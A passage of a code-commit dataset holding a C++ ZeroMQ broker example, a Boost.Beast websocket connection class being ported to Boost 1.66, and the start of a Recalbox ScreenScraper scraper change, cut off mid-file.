{\n        cloud = argv[i];\n        char *peer = argv[i];\n        char peer_ipc[64] = {0};\n        sprintf(peer_ipc, \"ipc:\/\/%s-cloud.ipc\", peer);\n        printf(\"I: connecting to cloud frontend at %s \\n\", peer_ipc);\n        cloudbe.connect(peer_ipc);\n    }\n\n    zmq::socket_t localfe(context, ZMQ_ROUTER);\n    char localfe_ipc[64] = {0};\n    sprintf(localfe_ipc, \"ipc:\/\/%s-localfe.ipc\", self);\n    localfe.bind(localfe_ipc);\n\n    zmq::socket_t localbe(context, ZMQ_ROUTER);\n    char localbe_ipc[64] = {0};\n    sprintf(localbe_ipc, \"ipc:\/\/%s-localbe.ipc\", self);\n    printf(\"localbe ipc: %s\\n\", localbe_ipc);\n    localbe.bind(localbe_ipc);\n\n    printf(\"Press enter when all broker are started: \");\n    getchar();\n\n    for (int i = 0; i < WORKER_NUM; i++) {\n        pthread_t pid;\n        pthread_create(&pid, nullptr, worker_task, nullptr);\n    }\n\n    for (int i = 0; i < CLIENT_NUM; i++) {\n        pthread_t pid;\n        pthread_create(&pid, nullptr, client_task, nullptr);\n    }\n\n    int capacity = 0;\n    std::queue<std::string> worker_queue;\n\n    zmq::pollitem_t pollset[] = {\n        {(void *)localbe, 0, ZMQ_POLLIN, 0},\n        {(void *)cloudbe, 0, ZMQ_POLLIN, 0},\n        \/\/{(void *)cloudfe, 0, ZMQ_POLLIN, 0}\n    };\n\n    zmq::pollitem_t frontends[] = {\n        {(void *)localfe, 0, ZMQ_POLLIN, 0},\n        {(void *)cloudfe, 0, ZMQ_POLLIN, 0}\n    };\n\n    while (true) {\n\n        zmq::poll(pollset, 2, 0);\n\n        if (pollset[0].revents & ZMQ_POLLIN) {\n            std::string work_identity = canna_recv(localbe);\n            std::string empty = canna_recv(localbe);\n            worker_queue.push(work_identity);\n            capacity++;\n            \n            std::string client_addr = canna_recv(localbe);\n            if (client_addr == WORKER_READY) {\n            } else\n            {\n                {\n                    std::string empty = canna_recv(localbe);\n                }\n                std::string reply = canna_recv(localbe);\n                canna_sendmore(localfe, client_addr);\n                canna_sendmore(localfe, \"\");\n                canna_send(localfe, \"SUCCESS\");\n            }\n        }\n\n        if (pollset[1].revents & ZMQ_POLLIN) {\n            printf(\"===========================================================\\n\");\n            std::string cloud_identity = canna_recv(cloudbe);\n            std::string reply = canna_recv(cloudbe);\n            printf(\"CLOUD BE INFO: %s, %s\\n\", cloud_identity.c_str(), reply.c_str());\n            printf(\"===========================================================\\n\");\n        }\n        \/*\n        if (pollset[1].revents & ZMQ_POLLIN) {\n            printf(\"***********************************************************\\n\");\n            std::string cloud_identity = canna_recv(cloudfe);\n            std::string reply = canna_recv(cloudfe);\n            printf(\"CLOUD FE INFO: %s, %s\\n\", cloud_identity.c_str(), reply.c_str());\n            canna_sendmore(cloudfe, cloud_identity);\n            canna_send(cloudfe, \"ACK ECHO\");\n            printf(\"***********************************************************\\n\");\n        }\n        *\/\n\n        while (capacity) {\n\n            zmq::poll(frontends, 2, 0);\n\n            int reroutable = 0;\n            std::string msg;\n            if (frontends[1].revents & ZMQ_POLLIN) {\n                printf(\"***********************************************************\\n\");\n                std::string cloud_identity = canna_recv(cloudfe);\n                std::string reply = canna_recv(cloudfe);\n                printf(\"CLOUD INFO: %s, %s\\n\", cloud_identity.c_str(), reply.c_str());\n                canna_sendmore(cloudfe, cloud_identity);\n                canna_send(cloudfe, \"ACK ECHO\");\n                printf(\"***********************************************************\\n\");\n            }\n            if (frontends[0].revents & ZMQ_POLLIN) {\n                std::string identity = canna_recv(localfe);\n                std::string empty = canna_recv(localfe);\n                std::string reply = canna_recv(localfe);\n                printf(\"RECV msg: %s from client, capacity: %d\\n\", reply.c_str(), capacity);\n                reroutable = 1;\n            \n                \/\/if (CANNA_RAND(5) == 0) {\n                    printf(\"cloud identity: %s\\n\", cloud);\n                    canna_sendmore(cloudbe, cloud);\n                    canna_send(cloudbe, \"CLOUD\");\n                \/\/} else {\n                    std::string worker_addr = worker_queue.front();\n                    worker_queue.pop();\n                    canna_sendmore(localbe, worker_addr);\n                    canna_sendmore(localbe, \"\");\n                    canna_sendmore(localbe, identity);\n                    canna_sendmore(localbe, \"\");\n                    canna_send(localbe, \"WORLD\");\n                    reroutable--;\n                    capacity--;\n                \/\/}\n            } else {\n                break;\n            }\n\n            \/*\n            if (reroutable) {\n                canna_sendmore(localbe, identity);\n                canna_sendmore(localbe, \"\");\n                canna_send(localbe, \"WORLD\");\n                reroutable--;\n                capacity--;\n            }\n            *\/\n        }\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>update: copyright<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of the IAN project - https:\/\/github.com\/Meoo\/IAN\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"ClientConnection.hpp\"\n\n#include <common\/EasyProfiler.hpp>\n\n#include <boost\/asio\/bind_executor.hpp>\n#include <boost\/beast\/http\/read.hpp>\n#include <boost\/beast\/websocket\/ssl.hpp>\n\n\nnamespace asio = boost::asio;\nnamespace http = boost::beast::http;\nnamespace ws   = boost::beast::websocket;\n\n\n#define LOG_SOCKET_TUPLE                                                                           \\\n  socket_.remote_endpoint().address().to_string(), socket_.remote_endpoint().port()\n\n\nClientConnection::ClientConnection(const std::shared_ptr<spdlog::logger> & logger,\n                                   TcpSocket && socket, SslContext & ssl_ctx)\n    : logger_(logger), socket_(std::move(socket)), stream_(socket_, ssl_ctx),\n      strand_(socket_.get_io_service()), timer_(socket_.get_io_service())\n{\n}\n\nClientConnection::~ClientConnection()\n{\n  \/\/ Close must be called last or using LOG_SOCKET_TUPLE will throw\n  boost::system::error_code ec;\n  socket_.close(ec);\n}\n\nvoid ClientConnection::run()\n{\n  \/\/ 3s timeout for connection setup\n  set_timeout(std::chrono::seconds(3));\n\n  \/\/ SSL handshake\n  stream_.next_layer().async_handshake(\n      asio::ssl::stream_base::server,\n      strand_.wrap(std::bind(&ClientConnection::on_ssl_handshake, shared_from_this(),\n                             std::placeholders::_1)));\n}\n\nvoid ClientConnection::abort()\n{\n  boost::system::error_code ec;\n\n  \/\/ Ignore errors\n  timer_.cancel(ec);\n\n  if (dropped_)\n    return;\n\n  logger_->info(\"Client disconnected: {}:{}\", LOG_SOCKET_TUPLE);\n\n  \/\/ Abort stream at socket level\n  socket_.shutdown(socket_.shutdown_both, ec);\n  dropped_ = true;\n}\n\nvoid ClientConnection::shutdown()\n{\n  boost::system::error_code ec;\n\n  \/\/ Ignore errors\n  timer_.cancel(ec);\n\n  if (!socket_.is_open())\n    return;\n\n  stream_.next_layer().async_shutdown(strand_.wrap(\n      std::bind(&ClientConnection::on_shutdown, shared_from_this(), std::placeholders::_1)));\n}\n\nvoid ClientConnection::set_timeout(const asio::steady_timer::duration & delay)\n{\n  boost::system::error_code ec;\n  timer_.cancel(ec); \/\/ Errors ignored\n\n  timer_.expires_from_now(delay);\n  timer_.async_wait(strand_.wrap(\n      std::bind(&ClientConnection::on_timeout, shared_from_this(), std::placeholders::_1)));\n}\n\nvoid ClientConnection::on_timeout(boost::system::error_code ec)\n{\n  if (dropped_ || ec == boost::asio::error::operation_aborted)\n    return;\n\n  logger_->info(\"Client timed out: {}:{}\", LOG_SOCKET_TUPLE);\n  abort();\n}\n\nvoid ClientConnection::on_shutdown(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec)\n  {\n    if (ec != asio::error::connection_aborted && ec != asio::error::connection_reset)\n      logger_->warn(\"Shutdown error for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE, ec.message(),\n                    ec.value());\n  }\n\n  logger_->info(\"Client disconnected: {}:{}\", LOG_SOCKET_TUPLE);\n\n  \/\/ Abort stream at socket level\n  socket_.shutdown(socket_.shutdown_both, ec);\n}\n\nvoid ClientConnection::on_ssl_handshake(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec)\n  {\n    logger_->warn(\"SSL handshake failed for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE, ec.message(),\n                  ec.value());\n    abort();\n    return;\n  }\n\n  logger_->trace(\"SSL handshake complete for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n  \/\/ Read HTTP header\n  http::async_read(stream_.next_layer(), read_buffer_, request_,\n                   strand_.wrap(std::bind(&ClientConnection::on_read_request, shared_from_this(),\n                                          std::placeholders::_1)));\n}\n\nvoid ClientConnection::on_read_request(boost::system::error_code ec)\n{\n  if (ec)\n  {\n    handle_read_error(ec);\n    return;\n  }\n\n  if (read_buffer_.size() > 0)\n  {\n    logger_->warn(\"Data left in buffer after request read (size {}) for client: {}:{}\",\n                  read_buffer_.size(), LOG_SOCKET_TUPLE);\n    read_buffer_ = boost::beast::flat_buffer();\n  }\n\n  if (ws::is_upgrade(request_))\n  {\n    logger_->trace(\"Upgrading to websocket for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n    \/\/ Accept the websocket handshake\n    stream_.async_accept(\n        request_,\n        asio::bind_executor(strand_, std::bind(&ClientConnection::on_ws_handshake,\n                                               shared_from_this(), std::placeholders::_1)));\n  }\n  else\n  {\n    logger_->trace(\"Processing http request for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n    \/\/ TODO http\n    http::response<http::string_body> response;\n    response.result(http::status::not_implemented);\n    response.body() = \"Not implemented\";\n    http::write(stream_.next_layer(), response, ec);\n    shutdown();\n  }\n}\n\nvoid ClientConnection::on_ws_handshake(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec)\n  {\n    logger_->warn(\"Websocket handshake failed for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE,\n                  ec.message(), ec.value());\n    shutdown();\n    return;\n  }\n\n  logger_->trace(\"Websocket handshake complete for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n  stream_.binary(true);\n  \/\/ stream_.auto_fragment(true);\n  stream_.read_message_max(0x4000);\n\n  \/\/ Refresh timeout\n  set_timeout(std::chrono::seconds(30));\n\n  \/\/ Start reading packets\n  stream_.async_read(\n      read_buffer_,\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_read, shared_from_this(),\n                                             std::placeholders::_1, std::placeholders::_2)));\n}\n\nvoid ClientConnection::on_read(boost::system::error_code ec, std::size_t readlen)\n{\n  if (ec)\n  {\n    handle_read_error(ec);\n    return;\n  }\n\n  \/\/ Get data\n  boost::beast::flat_buffer read_buffer;\n  std::swap(read_buffer_, read_buffer);\n\n  \/\/ Start reading next\n  stream_.async_read(\n      read_buffer_,\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_read, shared_from_this(),\n                                             std::placeholders::_1, std::placeholders::_2)));\n\n  \/\/ Reset timeout if required\n  if (timer_.expires_from_now() <= std::chrono::seconds(15))\n    set_timeout(std::chrono::seconds(30));\n\n  \/\/ TODO Process data\n}\n\nvoid ClientConnection::on_write(boost::system::error_code ec, std::size_t writelen)\n{\n  if (ec)\n  {\n    \/\/ TODO\n    return;\n  }\n\n  \/\/ TODO\n}\n\nvoid ClientConnection::handle_read_error(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec == asio::error::connection_aborted || ec == asio::error::connection_reset)\n  {\n    abort();\n    return;\n  }\n\n  logger_->warn(\"Read failed for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE, ec.message(),\n                ec.value());\n\n  shutdown();\n}\n<commit_msg>More porting to boost 1.66, trace logs for net read\/write<commit_after>\/*\n * This file is part of the IAN project - https:\/\/github.com\/Meoo\/IAN\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"ClientConnection.hpp\"\n\n#include <common\/EasyProfiler.hpp>\n\n#include <boost\/asio\/bind_executor.hpp>\n#include <boost\/beast\/http\/read.hpp>\n#include <boost\/beast\/websocket\/ssl.hpp>\n\n\nnamespace asio = boost::asio;\nnamespace http = boost::beast::http;\nnamespace ws   = boost::beast::websocket;\n\n\n#define LOG_SOCKET_TUPLE                                                                           \\\n  socket_.remote_endpoint().address().to_string(), socket_.remote_endpoint().port()\n\n\nClientConnection::ClientConnection(const std::shared_ptr<spdlog::logger> & logger,\n                                   TcpSocket && socket, SslContext & ssl_ctx)\n    : logger_(logger), socket_(std::move(socket)), stream_(socket_, ssl_ctx),\n      strand_(socket_.get_io_context()), timer_(socket_.get_io_context())\n{\n}\n\nClientConnection::~ClientConnection()\n{\n  \/\/ Close must be called last or using LOG_SOCKET_TUPLE will throw\n  boost::system::error_code ec;\n  socket_.close(ec);\n}\n\nvoid ClientConnection::run()\n{\n  \/\/ 3s timeout for connection setup\n  set_timeout(std::chrono::seconds(3));\n\n  \/\/ SSL handshake\n  stream_.next_layer().async_handshake(\n      asio::ssl::stream_base::server,\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_ssl_handshake,\n                                             shared_from_this(), std::placeholders::_1)));\n}\n\nvoid ClientConnection::abort()\n{\n  boost::system::error_code ec;\n\n  \/\/ Ignore errors\n  timer_.cancel(ec);\n\n  if (dropped_)\n    return;\n\n  logger_->info(\"Client disconnected: {}:{}\", LOG_SOCKET_TUPLE);\n\n  \/\/ Abort stream at socket level\n  socket_.shutdown(socket_.shutdown_both, ec);\n  dropped_ = true;\n}\n\nvoid ClientConnection::shutdown()\n{\n  boost::system::error_code ec;\n\n  \/\/ Ignore errors\n  timer_.cancel(ec);\n\n  if (!socket_.is_open())\n    return;\n\n  stream_.next_layer().async_shutdown(\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_shutdown, shared_from_this(),\n                                             std::placeholders::_1)));\n}\n\nvoid ClientConnection::set_timeout(const asio::steady_timer::duration & delay)\n{\n  boost::system::error_code ec;\n  timer_.cancel(ec); \/\/ Errors ignored\n\n  timer_.expires_from_now(delay);\n  timer_.async_wait(\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_timeout, shared_from_this(),\n                                             std::placeholders::_1)));\n}\n\nvoid ClientConnection::on_timeout(boost::system::error_code ec)\n{\n  if (dropped_ || ec == boost::asio::error::operation_aborted)\n    return;\n\n  logger_->info(\"Client timed out: {}:{}\", LOG_SOCKET_TUPLE);\n  abort();\n}\n\nvoid ClientConnection::on_shutdown(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec)\n  {\n    if (ec != asio::error::connection_aborted && ec != asio::error::connection_reset)\n      logger_->warn(\"Shutdown error for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE, ec.message(),\n                    ec.value());\n  }\n\n  logger_->info(\"Client disconnected: {}:{}\", LOG_SOCKET_TUPLE);\n\n  \/\/ Abort stream at socket level\n  socket_.shutdown(socket_.shutdown_both, ec);\n}\n\nvoid ClientConnection::on_ssl_handshake(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec)\n  {\n    logger_->warn(\"SSL handshake failed for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE, ec.message(),\n                  ec.value());\n    abort();\n    return;\n  }\n\n  logger_->trace(\"SSL handshake complete for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n  \/\/ Read HTTP header\n  http::async_read(\n      stream_.next_layer(), read_buffer_, request_,\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_read_request, shared_from_this(),\n                                             std::placeholders::_1)));\n}\n\nvoid ClientConnection::on_read_request(boost::system::error_code ec)\n{\n  if (ec)\n  {\n    handle_read_error(ec);\n    return;\n  }\n\n  if (read_buffer_.size() > 0)\n  {\n    logger_->warn(\"Data left in buffer after request read (size {}) for client: {}:{}\",\n                  read_buffer_.size(), LOG_SOCKET_TUPLE);\n    read_buffer_ = boost::beast::flat_buffer();\n  }\n\n  if (ws::is_upgrade(request_))\n  {\n    logger_->trace(\"Upgrading to websocket for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n    \/\/ Accept the websocket handshake\n    stream_.async_accept(\n        request_,\n        asio::bind_executor(strand_, std::bind(&ClientConnection::on_ws_handshake,\n                                               shared_from_this(), std::placeholders::_1)));\n  }\n  else\n  {\n    logger_->trace(\"Processing http request for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n    \/\/ TODO http\n    http::response<http::string_body> response;\n    response.result(http::status::not_implemented);\n    response.body() = \"Not implemented\";\n    http::write(stream_.next_layer(), response, ec);\n    shutdown();\n  }\n}\n\nvoid ClientConnection::on_ws_handshake(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec)\n  {\n    logger_->warn(\"Websocket handshake failed for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE,\n                  ec.message(), ec.value());\n    shutdown();\n    return;\n  }\n\n  logger_->trace(\"Websocket handshake complete for client: {}:{}\", LOG_SOCKET_TUPLE);\n\n  stream_.binary(true);\n  \/\/ stream_.auto_fragment(true);\n  stream_.read_message_max(0x4000);\n\n  \/\/ Refresh timeout\n  set_timeout(std::chrono::seconds(30));\n\n  \/\/ Start reading packets\n  stream_.async_read(\n      read_buffer_,\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_read, shared_from_this(),\n                                             std::placeholders::_1, std::placeholders::_2)));\n}\n\nvoid ClientConnection::on_read(boost::system::error_code ec, std::size_t readlen)\n{\n  if (ec)\n  {\n    handle_read_error(ec);\n    return;\n  }\n\n  logger_->trace(\"Message read (len: {}) for client: {}:{}\", readlen, LOG_SOCKET_TUPLE);\n\n  \/\/ Get data\n  boost::beast::flat_buffer read_buffer;\n  std::swap(read_buffer_, read_buffer);\n\n  \/\/ Start reading next\n  stream_.async_read(\n      read_buffer_,\n      asio::bind_executor(strand_, std::bind(&ClientConnection::on_read, shared_from_this(),\n                                             std::placeholders::_1, std::placeholders::_2)));\n\n  \/\/ Reset timeout if required\n  if (timer_.expires_from_now() <= std::chrono::seconds(15))\n    set_timeout(std::chrono::seconds(30));\n\n  \/\/ TODO Process data\n}\n\n\nvoid ClientConnection::on_write(boost::system::error_code ec, std::size_t writelen)\n{\n  if (ec)\n  {\n    \/\/ TODO\n    return;\n  }\n\n  logger_->trace(\"Message written (len: {}) for client: {}:{}\", writelen, LOG_SOCKET_TUPLE);\n\n  \/\/ TODO\n}\n\nvoid ClientConnection::handle_read_error(boost::system::error_code ec)\n{\n  if (dropped_)\n    return;\n\n  if (ec == asio::error::connection_aborted || ec == asio::error::connection_reset)\n  {\n    abort();\n    return;\n  }\n\n  logger_->warn(\"Read failed for client: {}:{} : {} {}\", LOG_SOCKET_TUPLE, ec.message(),\n                ec.value());\n\n  shutdown();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"scrapers\/ScreenscraperScraper.h\"\n#include \"Log.h\"\n#include \"pugixml\/pugixml.hpp\"\n#include \"MetaData.h\"\n#include \"Settings.h\"\n#include \"Util.h\"\n#include <boost\/assign.hpp>\n#include \"RecalboxConf.h\"\n\nusing namespace PlatformIds;\nconst std::map<PlatformId, const char*> gamesdb_platformid_map = boost::assign::map_list_of\n\t(THREEDO, \"3DO\")\n\t(AMIGA, \"Amiga\")\n\t(AMSTRAD_CPC, \"Amstrad CPC\")\n\t(APPLE_II, \"Apple II\")\n\t(ARCADE, \"Arcade\")\n\t(ATARI_800, \"Atari 800\")\n\t(ATARI_2600, \"Atari 2600\")\n\t(ATARI_5200, \"Atari 5200\")\n\t(ATARI_7800, \"Atari 7800\")\n\t(ATARI_LYNX, \"Atari Lynx\")\n\t(ATARI_ST, \"Atari ST\")\n\t(ATARI_JAGUAR, \"Atari Jaguar\")\n\t(ATARI_JAGUAR_CD, \"Atari Jaguar CD\")\n\t(ATARI_XE, \"Atari XE\")\n\t(COLECOVISION, \"Colecovision\")\n\t(COMMODORE_64, \"Commodore 64\")\n\t(FAMILY_COMPUTER_DISK_SYSTEM, \"Famicom Disk System\")\n\t(INTELLIVISION, \"Intellivision\")\n\t(MACOS, \"Mac OS\")\n\t(XBOX, \"Microsoft Xbox\")\n\t(XBOX_360, \"Microsoft Xbox 360\")\n\t(MSX, \"MSX\")\n\t(NEOGEO, \"NeoGeo\")\n\t(NEOGEO_POCKET, \"Neo Geo Pocket\")\n\t(NEOGEO_POCKET_COLOR, \"Neo Geo Pocket Color\")\n\t(NINTENDO_3DS, \"Nintendo 3DS\")\n\t(NINTENDO_64, \"Nintendo 64\")\n\t(NINTENDO_DS, \"Nintendo DS\")\n\t(NINTENDO_ENTERTAINMENT_SYSTEM, \"Nintendo Entertainment System (NES)\")\n\t(GAME_BOY, \"Nintendo Game Boy\")\n\t(GAME_BOY_ADVANCE, \"Nintendo Game Boy Advance\")\n\t(GAME_BOY_COLOR, \"Nintendo Game Boy Color\")\n\t(NINTENDO_GAMECUBE, \"Nintendo GameCube\")\n\t(NINTENDO_WII, \"Nintendo Wii\")\n\t(NINTENDO_WII_U, \"Nintendo Wii U\")\n\t(PC, \"PC\")\n\t(SEGA_32X, \"Sega 32X\")\n\t(SEGA_CD, \"Sega CD\")\n\t(SEGA_DREAMCAST, \"Sega Dreamcast\")\n\t(SEGA_GAME_GEAR, \"Sega Game Gear\")\n\t(SEGA_GENESIS, \"Sega Genesis\")\n\t(SEGA_MASTER_SYSTEM, \"Sega Master System\")\n\t(SEGA_MEGA_DRIVE, \"Sega Mega Drive\")\n\t(SEGA_SATURN, \"Sega Saturn\")\n\t(PLAYSTATION, \"Sony Playstation\")\n\t(PLAYSTATION_2, \"Sony Playstation 2\")\n\t(PLAYSTATION_3, \"Sony Playstation 3\")\n\t(PLAYSTATION_4, \"Sony Playstation 4\")\n\t(PLAYSTATION_VITA, \"Sony Playstation Vita\")\n\t(PLAYSTATION_PORTABLE, \"Sony PSP\")\n\t(SUPER_NINTENDO, \"Super Nintendo (SNES)\")\n\t(TURBOGRAFX_16, \"TurboGrafx 16\")\n\t(WONDERSWAN, \"WonderSwan\")\n\t(WONDERSWAN_COLOR, \"WonderSwan Color\")\n\t(ZX_SPECTRUM, \"Sinclair ZX Spectrum\")\n\t(VIRTUAL_BOY, \"Nintendo Virtual Boy\")\n\t(GAME_AND_WATCH, \"game-and-watch\")\n\t(PC_ENGINE_CD, \"TurboGrafx CD\")\n\t(SUPERGRAFX, \"TurboGrafx 16\")\n\t(PRBOOM, \"PC\")\n\t(VECTREX, \"Vectrex\")\n\t(LUTRO, \"PC\")\n\t(CAVE_STORY, \"PC\")\n\t(ODYSSEY_2, \"Magnavox Odyssey 2\")\n\t(ZX_81, \"Sinclair ZX Spectrum\")\n\t(MOONLIGHT,\"PC\");\n\nstatic const std::map<std::string, const char*> system_language_map = boost::assign::map_list_of\n\t(\"fr_FR\", \"\")\n\t(\"de_DE\", \"forcelangue=de&\")\n\t(\"es_ES\", \"forcelangue=es&\")\n\t(\"en_US\", \"forcelangue=en&\")\n\t(\"pt_BR\", \"forcelangue=pt&\");\n\nvoid screenscraper_generate_scraper_requests(const ScraperSearchParams& params, std::queue< std::unique_ptr<ScraperRequest> >& requests, \n\tstd::vector<ScraperSearchResult>& results)\n{\n\tstd::string path = \"screenscraper.fr\/api\/thegamedb\/GetGame.php?devid=xxx&devpassword=yyy&softname=zzz&\";\n\tstd::string languageSystem = RecalboxConf::getInstance()->get(\"system.language\");\n\n\tif((system_language_map.find(languageSystem)) != system_language_map.end())\n\t{\n\t\tpath += (system_language_map.find(languageSystem)->second);\n\t}else{\n\t\tpath += \"forcelangue=en&\";\n\t}\n\n\tstd::string cleanName = params.game->getPath().filename().c_str();\n\n\tpath += \"name=\" + HttpReq::urlEncode(cleanName);\n\n\tif(params.system->getPlatformIds().empty())\n\t{\n\t\t\/\/ no platform specified, we're done\n\t\trequests.push(std::unique_ptr<ScraperRequest>(new ScreenscraperRequest(results, path)));\n\t}else{\n\t\t\/\/ go through the list, we need to split this into multiple requests \n\t\t\/\/ because TheGamesDB API either sucks or I don't know how to use it properly...\n\t\tstd::string urlBase = path;\n\t\tauto& platforms = params.system->getPlatformIds();\n\t\tfor(auto platformIt = platforms.begin(); platformIt != platforms.end(); platformIt++)\n\t\t{\n\t\t\tpath = urlBase;\n\t\t\tauto mapIt = gamesdb_platformid_map.find(*platformIt);\n\t\t\tif(mapIt != gamesdb_platformid_map.end())\n\t\t\t{\n\t\t\t\tpath += \"&platform=\";\n\t\t\t\tpath += HttpReq::urlEncode(mapIt->second);\n\t\t\t}else{\n\t\t\t\tLOG(LogWarning) << \"Screenscraper scraper warning - no support for platform \" << getPlatformName(*platformIt);\n\t\t\t}\n\n\t\t\trequests.push(std::unique_ptr<ScraperRequest>(new ScreenscraperRequest(results, path)));\n\t\t}\n\t}\n}\n\nvoid ScreenscraperRequest::process(const std::unique_ptr<HttpReq>& req, std::vector<ScraperSearchResult>& results)\n{\n\tassert(req->status() == HttpReq::REQ_SUCCESS);\n\n\tpugi::xml_document doc;\n\tpugi::xml_parse_result parseResult = doc.load(req->getContent().c_str());\n\tif(!parseResult)\n\t{\n\t\tstd::stringstream ss;\n\t\tss << \"ScreenscraperRequest - Error parsing XML. \\n\\t\" << parseResult.description() << \"\";\n\t\tstd::string err = ss.str();\n\t\tsetError(err);\n\t\tLOG(LogError) << err;\n\t\treturn;\n\t}\n\n\tpugi::xml_node data = doc.child(\"Data\");\n\n\tstd::string baseImageUrl = data.child(\"baseImgUrl\").text().get();\n\n\tpugi::xml_node game = data.child(\"Game\");\n\twhile(game && results.size() < MAX_SCRAPER_RESULTS)\n\t{\n\t\tScraperSearchResult result;\n\n\t\tresult.mdl.set(\"name\", game.child(\"GameTitle\").text().get());\n\t\tresult.mdl.set(\"desc\", game.child(\"Overview\").text().get());\n\n\t\tboost::posix_time::ptime rd = string_to_ptime(game.child(\"ReleaseDate\").text().get(), \"%m\/%d\/%Y\");\n\t\tresult.mdl.setTime(\"releasedate\", rd);\n\n\t\tresult.mdl.set(\"developer\", game.child(\"Developer\").text().get());\n\t\tresult.mdl.set(\"publisher\", game.child(\"Publisher\").text().get());\n\t\tresult.mdl.set(\"genre\", game.child(\"Genres\").first_child().text().get());\n\t\tresult.mdl.set(\"players\", game.child(\"Players\").text().get());\n\n\t\tif(Settings::getInstance()->getBool(\"ScrapeRatings\") && game.child(\"Rating\"))\n\t\t{\n\t\t\tresult.mdl.set(\"rating\", game.child(\"Rating\").text().get());\n\t\t}\n\n\t\tpugi::xml_node images = game.child(\"Images\");\n\n\t\tif(images)\n\t\t{\n\t\t\tpugi::xml_node art = images.find_child_by_attribute(\"boxart\", \"side\", \"front\");\n\n\t\t\tif(art)\n\t\t\t{\n\t\t\t\tresult.thumbnailUrl = baseImageUrl + art.attribute(\"thumb\").as_string();\n\t\t\t\tresult.imageUrl = baseImageUrl + art.text().get();\n\t\t\t}\n\t\t}\n\n\t\tresults.push_back(result);\n\t\tgame = game.next_sibling(\"Game\");\n\t}\n}\n<commit_msg>added screenscraper recalbox mirror<commit_after>#include \"scrapers\/ScreenscraperScraper.h\"\n#include \"Log.h\"\n#include \"pugixml\/pugixml.hpp\"\n#include \"MetaData.h\"\n#include \"Settings.h\"\n#include \"Util.h\"\n#include <boost\/assign.hpp>\n#include \"RecalboxConf.h\"\n\nusing namespace PlatformIds;\nconst std::map<PlatformId, const char*> gamesdb_platformid_map = boost::assign::map_list_of\n\t(THREEDO, \"3DO\")\n\t(AMIGA, \"Amiga\")\n\t(AMSTRAD_CPC, \"Amstrad CPC\")\n\t(APPLE_II, \"Apple II\")\n\t(ARCADE, \"Arcade\")\n\t(ATARI_800, \"Atari 800\")\n\t(ATARI_2600, \"Atari 2600\")\n\t(ATARI_5200, \"Atari 5200\")\n\t(ATARI_7800, \"Atari 7800\")\n\t(ATARI_LYNX, \"Atari Lynx\")\n\t(ATARI_ST, \"Atari ST\")\n\t(ATARI_JAGUAR, \"Atari Jaguar\")\n\t(ATARI_JAGUAR_CD, \"Atari Jaguar CD\")\n\t(ATARI_XE, \"Atari XE\")\n\t(COLECOVISION, \"Colecovision\")\n\t(COMMODORE_64, \"Commodore 64\")\n\t(FAMILY_COMPUTER_DISK_SYSTEM, \"Famicom Disk System\")\n\t(INTELLIVISION, \"Intellivision\")\n\t(MACOS, \"Mac OS\")\n\t(XBOX, \"Microsoft Xbox\")\n\t(XBOX_360, \"Microsoft Xbox 360\")\n\t(MSX, \"MSX\")\n\t(NEOGEO, \"NeoGeo\")\n\t(NEOGEO_POCKET, \"Neo Geo Pocket\")\n\t(NEOGEO_POCKET_COLOR, \"Neo Geo Pocket Color\")\n\t(NINTENDO_3DS, \"Nintendo 3DS\")\n\t(NINTENDO_64, \"Nintendo 64\")\n\t(NINTENDO_DS, \"Nintendo DS\")\n\t(NINTENDO_ENTERTAINMENT_SYSTEM, \"Nintendo Entertainment System (NES)\")\n\t(GAME_BOY, \"Nintendo Game Boy\")\n\t(GAME_BOY_ADVANCE, \"Nintendo Game Boy Advance\")\n\t(GAME_BOY_COLOR, \"Nintendo Game Boy Color\")\n\t(NINTENDO_GAMECUBE, \"Nintendo GameCube\")\n\t(NINTENDO_WII, \"Nintendo Wii\")\n\t(NINTENDO_WII_U, \"Nintendo Wii U\")\n\t(PC, \"PC\")\n\t(SEGA_32X, \"Sega 32X\")\n\t(SEGA_CD, \"Sega CD\")\n\t(SEGA_DREAMCAST, \"Sega Dreamcast\")\n\t(SEGA_GAME_GEAR, \"Sega Game Gear\")\n\t(SEGA_GENESIS, \"Sega Genesis\")\n\t(SEGA_MASTER_SYSTEM, \"Sega Master System\")\n\t(SEGA_MEGA_DRIVE, \"Sega Mega Drive\")\n\t(SEGA_SATURN, \"Sega Saturn\")\n\t(PLAYSTATION, \"Sony 